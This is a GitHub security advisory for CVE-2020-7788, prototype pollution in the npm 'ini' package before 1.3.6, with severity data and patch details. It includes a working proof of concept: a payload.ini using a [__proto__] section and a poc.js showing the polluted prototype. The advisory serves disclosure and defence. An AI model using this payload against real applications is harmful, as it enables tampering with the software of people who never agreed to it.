Skip to content

ini before 1.3.6 vulnerable to Prototype Pollution via ini.parse

High severity GitHub Reviewed Published Dec 10, 2020 to the GitHub Advisory Database • Updated Aug 31, 2023

Package

npm ini (npm)

Affected versions

< 1.3.6

Patched versions

1.3.6

Description

Overview

The ini npm package before version 1.3.6 has a Prototype Pollution vulnerability.

If an attacker submits a malicious INI file to an application that parses it with ini.parse, they will pollute the prototype on the application. This can be exploited further depending on the context.

Patches

This has been patched in 1.3.6.

Steps to reproduce

payload.ini

[__proto__]
polluted = "polluted"

poc.js:

var fs = require('fs')
var ini = require('ini')

var parsed = ini.parse(fs.readFileSync('./payload.ini', 'utf-8'))
console.log(parsed)
console.log(parsed.__proto__)
console.log(polluted)
> node poc.js
{}
{ polluted: 'polluted' }
{ polluted: 'polluted' }
polluted

References

Reviewed Dec 10, 2020
Published to the GitHub Advisory Database Dec 10, 2020
Published by the National Vulnerability Database Dec 11, 2020
Last updated Aug 31, 2023

Severity

High
7.3
/ 10

CVSS base metrics

Attack vector
Network
Attack complexity
Low
Privileges required
None
User interaction
None
Scope
Unchanged
Confidentiality
Low
Integrity
Low
Availability
Low
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:L

Weaknesses

CVE ID

CVE-2020-7788

GHSA ID

GHSA-qqgx-2p2h-9c37

Source code

Checking history
See something to contribute? Suggest improvements for this vulnerability.